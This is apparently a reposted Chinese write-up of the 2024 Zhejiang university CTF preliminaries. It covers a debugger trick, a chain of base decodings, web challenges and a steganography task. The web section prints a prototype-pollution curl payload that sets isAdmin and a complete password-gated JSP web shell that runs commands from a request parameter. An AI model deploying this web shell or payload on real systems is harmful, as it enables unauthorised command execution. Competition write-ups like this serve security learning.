2024浙江省大学生网络与信息安全竞赛wp

admin 2024年11月4日22:49:14评论58 views字数 2046阅读6分49秒阅读模式

预赛结果公布了,我们队也是成功进入了决赛,希望能够取得好成绩把,今天发个我们队的wp吧~ 和大佬比没法比

签到

题目一名称:网安知识大挑战

直接做完,显示错误,肯定不可能

2024浙江省大学生网络与信息安全竞赛wp

搜索文件

2024浙江省大学生网络与信息安全竞赛wp

打断点,同时发现flag在d()

2024浙江省大学生网络与信息安全竞赛wp

运行到断点处,并在控制台输出d(),得到flag  (这道题我们拿了一血,看别人都是写脚本,我们队这个方法应该是比较快的!)

2024浙江省大学生网络与信息安全竞赛wp

题目名称:签到题

6L<Ak3,*@VM*>7U&FZFNWc,Ib=t,X!+,BnSDfoaNhdiO*][5F];eV^]Lm&?$'<oeGH&6tqcgK_JDp-3;8wh?Si,G$BarTFjE?b$eR/,Igij<({u90M$5If589[<4+jp%3_%R(526#1J|m5p&H+%.#d0<DmLK*#-8w:xD2Y[3jO{l8[)<(F[=Bcixb>Jp^%L2XvVTzW@9OTko/P74d1sFscEbMO7Vhp&HM;+ww/v[KM1%2M*7O}rEZM.LM0'iwK:])pg-nJefRt4

2024浙江省大学生网络与信息安全竞赛wp

base92

:2WsR9eo=EA2%h#>&.;[@sVfC=]cp;cldd<btVh:IeqR=))D<;Fjh`:3pGh9kmF$A6)#b;0kYf=Y`Tp>":;9eO]=)(2@mt3%@o[b2@PDj@5:GL;clXGA8QF0<[$#A27XM<c)A_A4JJ#ASspo;(ssa;/7md;/T-H;b0o59iZ9n;H@RX;cmj;<`O*6=`$/Q=%>8qA27=@96u]@7FCG=`.,)

2024浙江省大学生网络与信息安全竞赛wp

base85a

NnRwM2JZd0lVZkZoczh1YWZDSXNIVlQ3OGd6WjhFRHVNNzdoMjNRdVBDQzE4Y2JyZG1hM081WjF3cElDcUx5b0s5a2JMSXJ0dmtsV1E5d2c2VmdkdG4wenE5Q081Qk1UQnNnSHUxMUt6RVkxSXlWVUpNYm90WG9xd2ZJaWdtaFYzYnRC

2024浙江省大学生网络与信息安全竞赛wp

base64

6tp3bYwIUfFhs8uafCIsHVT78gzZ8EDuM77h23QuPCC18cbrdma3O5Z1wpICqLyoK9kbLIrtvklWQ9wg6Vgdtn0zq9CO5BMTBsgHu11KzEY1IyVUJMbotXoqwfIigmhV3btB

2024浙江省大学生网络与信息安全竞赛wp

base62

nbgCtvcRjay6YrYmWqGk6JgBhUgGWx3Dii4T1jYoihmpb79zcuiqMvFCdLxvkNDn4768DTbxsegoHAxNf5czNPPAfgMoe6LRui

2024浙江省大学生网络与信息安全竞赛wp

base58

5C9VB8W09FG6DC9LX6J1A3T9ZY9P7BKG6+M9B1AO7BI%6OTAZY91G60Z9%IBG09NIBNB9TB9

2024浙江省大学生网络与信息安全竞赛wp

base45 IRAVGQ2UIZ5XOZLMMNXW2ZK7ORXV66TKMN2GMXZSGAZDI7I=

2024浙江省大学生网络与信息安全竞赛wp

base32 就出来了 (挺逆天~)

Web

题目一名称:easyjs

2024浙江省大学生网络与信息安全竞赛wp

说的很明白了需要原型链污染,编写js

curl -X POST http://139.155.126.78:33972/api/notes -H "Content-Type: application/json" -d '{"id": "exploitNote", "__proto__": {"isAdmin": true}}'

2024浙江省大学生网络与信息安全竞赛wp

curl -H "Note-Id: exploitNote" http://139.155.126.78:36461/api/flag

2024浙江省大学生网络与信息安全竞赛wp

题目名称:hack memory

直接上马

2024浙江省大学生网络与信息安全竞赛wp

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

访问:根目录直接有flag

139.155.126.78:36008/uploads/test.jsp?pwd=023&i=cat /fffffllllagggg

2024浙江省大学生网络与信息安全竞赛wp

解码

2024浙江省大学生网络与信息安全竞赛wp

MISC

题目一名称:RealSignin

2024浙江省大学生网络与信息安全竞赛wp

xtradata:0 .. text: "dEFfc1dGq1pxMgMWnihrMx9mewNgdvIWMvctrc"

这个是密文

b1,rgb,lsb,xytext: "ABCDEFGHIJKLMNabcdefghijklmnopqrstuvwxyzOPQRSTUVWXYZ0123456789+/"

这个是字符表

2024浙江省大学生网络与信息安全竞赛wp

得到flag

原文始发于微信公众号(leison安全):2024浙江省大学生网络与信息安全竞赛wp

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月4日22:49:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024浙江省大学生网络与信息安全竞赛wphttps://cn-sec.com/archives/3355340.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息